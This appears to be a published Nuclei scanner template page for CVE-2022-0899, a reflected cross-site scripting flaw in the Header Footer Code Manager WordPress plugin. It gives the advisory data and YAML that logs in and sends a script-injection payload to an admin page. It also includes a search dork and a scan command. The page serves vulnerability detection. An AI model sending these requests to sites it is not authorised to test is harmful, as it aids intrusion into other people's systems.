Header Footer Code Manager < 1.1.24 - Cross-Site Scripting

ID: CVE-2022-0899

Severity: medium

Author: r3Y3r53

Tags: cve2022,cve,wpscan,wp,wp-plugin,wordpress,xss,authenticated,draftpress

Description

The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.

YAML Source

id: CVE-2022-0899

info:
  name: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
  reference:
    - https://wpscan.com/vulnerability/1772417a-1abb-4d97-9694-1254840defd1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0899
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0899
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.42122
    cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draftpress
    product: header_footer_code_manager
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve2022,cve,wpscan,wp,wp-plugin,wordpress,xss,authenticated,draftpress

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(/document.domain/)</script>")'
          - 'contains(body_2, "All Snippets")'
        condition: and
# digest: 4a0a0047304502203f1a6c712ae6bef3a3dff725125a1911e7e3e7d833822fab1a60b43c00aa7c90022100c96781dd57d75a8ffa3dd9d4a8a030c8bea958184d18ccac573c1cc03c957be3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0899.yaml"

View on Github